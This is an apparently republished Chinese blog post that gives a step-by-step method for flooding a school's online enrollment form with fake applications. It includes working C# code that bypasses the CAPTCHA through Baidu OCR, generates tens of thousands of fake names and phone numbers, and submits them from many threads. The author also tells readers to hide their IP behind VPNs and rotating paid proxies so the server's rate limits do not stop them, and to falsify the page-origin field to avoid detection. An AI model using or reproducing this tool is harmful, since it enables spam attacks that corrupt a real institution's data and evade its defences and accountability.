Web安全:数据注入某校“在线报名“ 大量提交虚假消息 验证码识别破解

Posted 生产队的驴.

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Web安全:数据注入某校“在线报名“ 大量提交虚假消息 验证码识别破解相关的知识,希望对你有一定的参考价值。

效果图:


使用环境

系统: Windows10 64位 家庭版
编程语言: C# .Net Framework 4.72
编译器: Visual Studio 2019
打码平台: 百度AI
浏览器: 360浏览器13.1

隐藏身份

记得隐藏好自己的IP地址信息,建议挂一个境外的VPN,或高匿的代理,如果是 小网站 随意 ,尽量不暴露自己的IP地址

一般网站有备案的还是挂一个较好
(申请备案比较麻烦,一般有备案的基本是一个组织)

学校这种肯定是有经过备案的

备了案的网站 最下面一般都会有对应的ICP号

额外知识:
使用中国境内的服务器是必须备案的,不备案域名解析不了,境外的服务器域名不需要备案


难点:
验证码的识别 (好在有百度的AI识别)
正确率在百分之60左右,虽然有点低,但是配合多线程弥补了

POST数据的拼接

需要把中文的信息Url编码…这里浪费了比较多时间,好在经过几个小时,终于完成了

网站分析


这里就是他的PC端 在线报名 页面,是一个表单

先手动提交一组信息抓包

折磨了半个小时 并没有发现有用信息 发现这网站还有一个移动端的页面

把浏览器UA代理,切换至 移动端

浏览器随着重定向到手机端的URL

接口抓取

点击 提交按钮 时 抓到了提交的包

第一个包:提交的表单接口

第二个包:验证码的接口

表单接口分析

请求 URL: http://xxxxxxxxxx/addSubmit?_v=1654613271594
请求方法: POST
状态代码: 200 OK
远程地址: xxxxxxxxx
引用站点策略: unsafe-url

根据经验判断 v=1654613271594 这参数是一个时间戳

转换后 证实 v是一个时间戳参数 2022-06-07 22:47:51 正是提交表单的时间

时间戳概念:
1654613271594 (毫秒)是一串数字,每秒都在增加,用来表示某一个时间,定义为从格林威治(和北京时间一样)时间(1970年,1月,1日,00时,00分,00秒 )到现在的 总秒 或 豪秒 数 到现在已经万亿了 已超过int的数值范围 ,使用他得使用long类型变量,使用他不需要在意地区不同导致时间有偏差(如北京时间和美国时间 不同时间差)

POST参数:
接下来就是解析POST的请求参数了

源数据:

很明显是经过URL编码后的数据

URL编码:
这是浏览器用来打包数据的一种数据格式,在传输过程中需要把其中的中文字符或特殊不安全的(如:’ " 空格 等等 )字符经过编码后进行发送,其中&号为分隔符,url编码就是一个字符ascii码的十六进制然后前面加上%,以键值对的形式出现,只要你在浏览器上肯定是用的到,只所以用户看不到这些经过编码后的字符,是因为现在大多数浏览器都帮我们完成了解码

ASCII码表(部分):
例如将 ! 号进行URL编码,那么编码结果就是 %21 (对应16进制)

小例子:
在网站上,放一个带中文名的图片

通过浏览器访问 网站图片

看似中文的图片,其实是经过URL编码的 只不过是后面浏览器帮助我们解码了
打开 开发者工具

这才是请求的源URL ,把他解码正是这个图片的中文名称

看看浏览器解码后面数据

分析POST参数:

formId: 1 (这里是表单的ID 不变值不需要理会)

vCodeId: 3691 (对应验证码接口的ID)

submitContentList: (提交数据的表弟 是一个JSON格式)
[“id”:0,“type”:0,“val”:“蔡徐坤”,“id”:1,“type”:2,“val”:“女”,“id”:2,“type”:0,“val”:“20”,“id”:4,“type”:0,“val”:“广东省技工学校”,“id”:5,“type”:0,“val”:“85”,“id”:3,“type”:8,“val”:“13333333333”,“id”:6,“type”:8,“val”:“17733333333”]
tmpFileList: []

validateCode: qadq (验证码 对应3691 这个接口)

colId: 158

submitOrigin: “pageUrl”:“http:/xxxxxx.html”,“pageName”:“手机网站-在线报名”
(用户在哪个页面提交的URL 和 网页标题)

phoneValidateCodes: []

其中只有 submitContentList 和 validateCode 是变的,其他值为不变。

成功后的返回值

rt: 0, success: true, msg: “提交表单数据成功”, id: 420
id: 420 msg:
“提交表单数据成功”
rt: 0 success: true

id: 420 msg: 这是一个自增的ID,每次提交成功一次值就会+1,也就是这个表单当前已提交了420次了


验证码接口分析:

请求 URL:
http://xxxxx/validateCode.jsp?185.3168615516483&vCodeId=3691
请求方法: GET 状态代码: 200 OK
远程地址: xxxxxxx
引用站点策略: unsafe-url

vCodeId=3691:这就是验证码ID 上面说到过
是一个GET请求,浏览器直接请求即可

多次访问测试后发现是 URL 并不会随着验证码而重定向到其他的URL 这就很好办


小实验

按理说 只要两个接口 使用同一个 Cookie就可以实现提交表单了,

原理图:

在浏览器打开 验证码接口 和 提交页面 必须在同一个浏览器上 这样才使用的同一个Cookie)

然后输入验证码接口的 验证码 不输入提交页面生成的验证码



测试可行 成功了 ,如果换 其中 两个页面换成 两个不同的浏览器 打开就不行 ,因为两个请求是单独的


程序批量提交


为了数据真实一点,需要大量生成 虚假手机号 和 姓名 ,大量提交同一个一模一样的数据,在数据库里 就一行SQL语句就可以筛选出来,达不到效果

生成信息:

公共随机数:

static   Random r = new Random();

姓名生成:
这里使用的是,百度把常用的 姓氏 储存到一个数组,然后名储存到一个文本(也来源百度),程序进入的时候读取数组 在 使用随机数 随机组名字

 static string[] NmaeHead =  "王", "李", "张", "刘", "陈", "杨", "黄", "赵", "吴", "周", "徐", "孙", "马", "朱", "胡", "郭", "何", "林", "高", "罗", "郑", "梁", "谢" ;
  static string[] NmaeTail = File.ReadAllLines(@"Name.txt");
   static List<string> NameList= new List<string>();
           //姓字列表


性别生成:

static char[]  Sex ='男','女';

使用时候直接 随机数 随机选择
虽然表单是 单选框 但是可以直接修改 表单内容 比如可以把 男 或 女 改成 雌 ,雄, 公 ,母 …

年龄生成:

  string age = r.Next(13, 23).ToString();//年龄

直接使用随机数 生成13 到 23 之间的数字

就读学校:
当然这个也可以生成 但为了真实 我并没有这样,而是百度了 部分真实的学校,也是直接写到记事本 然后读取他

   static string[] SchoolList = File.ReadAllLines(@"SchoolList.txt");
        //学校列表

班级生成:
同理 ,为了真实

 static string[] ClassList = File.ReadAllLines(@"ClassList.txt");
        //班级

手机号生成:
手机号开头都是13xxxx,17xxx开头的,如果使用随机数就会出现20xxx,50xxx,这看着就不太真实,需要限制号段

static List<string> PhoneList = new List<string>();//手机号

  static string[] PhoneHead =  "131","178","158","177","185","132","176","159","133","188","171","135";

总结:

    static char[]  Sex ='男','女';

    static string[] ClassList = File.ReadAllLines(@"ClassList.txt");
    //班级
    static List<string> PhoneList = new List<string>();//手机号t

    static List<string> NameList= new List<string>();
    //姓字列表

    static string[] SchoolList = File.ReadAllLines(@"SchoolList.txt");
    //学校列表

    static string[] NmaeHead =  "王", "李", "张", "刘", "陈", "杨", "黄", "赵", "吴", "周", "徐", "孙", "马", "朱", "胡", "郭", "何", "林", "高", "罗", "郑", "梁", "谢" ;

    static string[] NmaeTail = File.ReadAllLines(@"Name.txt");
    //名字

    static string[] PhoneHead =  "131","178","158","177","185","132","176","159","133","188","171","135";
 static   Random r = new Random();

使用循环生成数据

Console.WriteLine("开始生成姓名,手机号");
                //20000为生成的数量
            for (int i = 0; i < 20000; i++)
            

                PhoneList.Add(PhoneHead[r.Next(0, PhoneHead.Length)] + r.Next(10000000, 99999999));
                NameList.Add(NmaeHead[r.Next(0, NmaeHead.Length)] + NmaeTail[r.Next(0, NmaeTail.Length)] + NmaeTail[r.Next(0, NmaeTail.Length)]);

                Console.WriteLine(i+"  "+PhoneList[i]+ NameList[i]);
            


数据都有了 ,上面说到过来,中文需要URL编码,使用他们的时候需要把他们URL编码
这里定义了一个URL编码的方法,提交数据时需要调用他

URL编码:

static string UrlEncode(string str)
        
            byte[] array = Encoding.UTF8.GetBytes(str);
            //转成字节数组
            StringBuilder Text = new StringBuilder(500);
            //因为字符串的不可变性 使用StringBuilder 并且开了500个字符的空间
            for (int i = 0; i < array.Length; i++)
            
                Text.Append("%"+array[i].ToString("X2"));
                //转成的编码 添加到Text
            
           //这里是url编码
            return Text.ToString(); 
            //返回编码好的字符串
        

提交方法:

随机从上面的列表抽取手机号 姓名 并编码

提取手机号 姓名

 string name = UrlEncode( NameList[r.Next(0, NameList.Count)]);//姓名
                string sex = Sex[r.Next(0, Sex.Length)].ToString();//性别
                string school = SchoolList[r.Next(0, SchoolList.Length)];//学校
                string classname = ClassList[r.Next(0, ClassList.Length)];//班级
                string age = r.Next(13, 23).ToString();//年龄
                string localPhone = PhoneList[r.Next(0, PhoneList.Count)];
                string parentsPhone = PhoneList[r.Next(0, PhoneList.Count)];

这里还需要生成一个 储存验证码的 文件名 因为不可能十几个线程都去读一个验证码

  string codeName = r.Next(0, 100000).ToString() + ".jpg"; //验证码图片名字


请求验证码接口:

 string userAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36";
//浏览器代理 如果为空 服务器会拒接 502
                    CookieContainer Cookie = new CookieContainer();
//使用同一个COOKIE 相当于同一个浏览器 

                    HttpWebRequest ImageCode = (HttpWebRequest)WebRequest.Create("http:xxxxx/validateCode.jsp?890.6793103043062&vCodeId=3691");
                   //验证码接口地址              

                    ImageCode.CookieContainer = Cookie;
              //使用 Cookie 这个"浏览器"

                    ImageCode.KeepAlive = true;
                    //状态保持
                    ImageCode.UserAgent = userAgent;
                    //设置浏览器代理 
                    
                    ImageCode.AllowAutoRedirect = false;
                    //禁止重定向URL
                    
                    ImageCode.ContentType = "application/x-www-form-urlencoded";
                    //类型 

                    HttpWebResponse ImageRet = (HttpWebResponse)ImageCode.GetResponse();
//接搜返回值

                    FileStream file = new FileStream(codeName, FileMode.OpenOrCreate);
                    //定义文件流保存文件
                    
                    ImageRet.GetResponseStream().CopyTo(file);
                    //保存文件

                    file.Close();
                    //关闭流 

验证码打码:
这里使用的是 百度的AI 文字识别 ,效果还可以,
原理就是通过请求验证码 把验证码下载下来 然后使用 AI 文字识别 验证码 在把识别的验证码 和表单一起 提交

 var API_KEY = "这里需要自己申请"; 
                    var SECRET_KEY = "这里需要自己申请";

                    var client = new Baidu.Aip.Ocr.Ocr(API_KEY, SECRET_KEY);
                    //文字识别
                    client.Timeout = 60000;  // 修改超时时间

                    var image = File.ReadAllBytes(codeName);
                    //把图片转成字节数组
                    var result = client.GeneralBasic(image);
                    //上传识别
                    string str = result.ToString();
                   //识别成功后的字符串

API_KEY 这些需要自行到 百度AI开发 平台申请 注册即可

然后的是一个JSON格式字符串


  "words_result": [
    
      "words": "QN"
    
  ],
  "words_result_num": 1,
  "log_id": 1535879164735694844

其中 words 里的字符串 就是识别的内容

解析JSON:

JObject j = JObject.Parse(str);
                    JArray r = (JArray)j["words_result"];
                    //强制转成数组 因为要获取employees
                  
                    str = r[0]["words"].ToString();

                    if (str.Length < 4)
                    
                        Console.WriteLine("识别失败");
                        continue;
                    

验证码都是四位数 如果小于四位数 那就是识别失败了 直接返回

提交表单

拼接POST参数:

  string post_str = "formId=1&vCodeId=3691&submitContentList=[%7B%22id%22:0,%22type%22:0,%22val%22:%22" + name + "%22%7D,%7B%22id%22:1,%22type%22:2,%22val%22:%22" + sex + "%22%7D,%7B%22id%22:2,%22type%22:0,%22val%22:%22" + age + "%22%7D,%7B%22id%22:4,%22type%22:0,%22val%22:%22" + school + "%22%7D,%7B%22id%22:5,%22type%22:0,%22val%22:%22" + classname + "%22%7D,%7B%22id%22:3,%22type%22:8,%22val%22:%22" + localPhone + "%22%7D,%7B%22id%22:6,%22type%22:8,%22val%22:%22" + parentsPhone + "%22%7D]&tmpFileList=[]&validateCode=" + str + "&colId=158&submitOrigin=%7B%22pageUrl%22:%22http%3A%2F%2Fwww.xxxx.com%2Fh-col-171.html%22,%22pageName%22:%22%E6%83%A0%E5%B7%9E%E5%B8%82%E4%BB%B2%E6%81%BA%E6%8A%80%E5%B7%A5%E5%AD%A6%E6%A0%A1%20%7C%20%E5%B9%BF%E4%B8%9C%E7%9C%81%E9%87%8D%E7%82%B9%E6%8A%80%E5%B7%A5%E5%AD%A6%E6%A0%A1%22%7D&phoneValidateCodes=[]";

为了不让接口给发现 这里我把 页面地址 改成了 电脑端的首页

提交表单:

  HttpWebRequest Request = (HttpWebRequest)WebRequest.Create("http://m.xxxxx.com/api/guest/form/addSubmit?_v=" + DateTimeOffset.UtcNow.ToUnixTimeMilliseconds().ToString());
  //请求表单接口   后面的参数为时间戳 

                    Request.Method = "POST";
                    //模式为 POST
                    Request.UserAgent = userAgent;
                //设置浏览器UA
                    Request.CookieContainer = Cookie;
  //使用和验证码同一个Cookie
                    Request.ContentType = "application/x-www-form-urlencoded";
//类型
                    byte[] array = Encoding.UTF8.GetBytes(post_str);
                    //编码号的Post数据 转成字节
                    Request.ContentLength = array.Length;
                    
                    Stream WriteRequest = Request.GetRequestStream();
                    //创建请求流
                    WriteRequest.Write(array, 0, array.Length);
                  //把数据 写入到请求流
                    WriteRequest.Flush();
                    //写入
                    WriteRequest.Close();
                    //关闭流
                    HttpWebResponse DateRet = (HttpWebResponse)Request.GetResponse();
 //接返回的请求

                    StreamReader Read = new StreamReader(DateRet.GetResponseStream(), Encoding.UTF8);
                    Console.WriteLine(Thread.CurrentThread.Name+Read.ReadToEnd());
                    //读取返回内容 

                    ImageRet.Dispose();
                    DateRet.Dispose();
                    Read.Dispose();
                    //释放流

这样就完成了 接下来就是多线程了

多线程

  for (int i = 0; i < 50; i++)
    
        Thread th = new Thread(School);
        th.IsBackground = true;
        th.Name = i.ToString();
        th.Start();
        Console.WriteLine(i + " 号线程创建成功");
    

创建50个线程 执行 方法 ,也就是50个人同时一直提交表单


运行时发现,如果同一个IP,短时间请求太多次,服务器会拒接返回403,

经过测试后,线程数量超过9 服务器就会拒接,9个线程一分钟也可以提交100条数据了,
虽然效果也不错,为了让程序更加强大,这里我使用了代理,让多线程更好的使用,

代理:

目前网上也有大量的免费代理 但可用率都特别低 这里我使用付费的(几块钱就可以买上几w个),

网络代理:
这里我封装成了方法

调用

GetAngent()

储存代理

static List<string> Agent = new List<string>();
    //代理列表

生成代理

static void GetAngent()
        

            while(true)
             
            HttpWebRequest Beg = (HttpWebRequest)WebRequest.Create("http://http1.9vps.com/getip.asp?username=xxxx&pwd=xxxxx&geshi=1&feng

以上是关于Web安全:数据注入某校“在线报名“ 大量提交虚假消息 验证码识别破解的主要内容,如果未能解决你的问题,请参考以下文章

Web安全:数据注入某校“在线报名“ 大量提交虚假消息 验证码识别破解

Web安全:数据注入某校“在线报名“ 大量提交虚假消息 验证码识别破解

Web安全之:SQL注入攻击

五大著名的免费SQL注入漏洞扫描工具

运维安全-注入分类

运维安全- 什么是SQL注入